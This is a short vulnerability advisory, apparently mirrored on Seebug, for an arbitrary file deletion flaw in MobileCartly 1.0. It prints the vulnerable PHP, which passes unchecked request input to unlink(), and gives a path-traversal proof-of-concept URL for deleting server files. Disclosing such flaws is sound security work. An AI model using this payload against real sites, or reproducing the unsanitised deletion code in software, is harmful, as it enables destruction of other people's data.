# Exploit Title: MobileCartly 1.0 <= Arbitrary Delete Vulnerability # Date: 09/08/2012 # Author: GoLd_M # Vendor or Software Link: http://mobilecartly.com/mobilecartly.zip # Version: 1.0 # Category:: Arbitrary Delete Vulnerability # Google dork: :( # Tested on: Xp SP 2 # Ex : [MobileCartly 1.0]/includes/deletepage.php?deletepage=../[File] # Code Page /includes/deletepage.php # <? # # $page = "../pages/" . $_REQUEST['deletepage']; <<---XXX # # unlink($page); <<---XXX[Booooom] # # # ?>
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论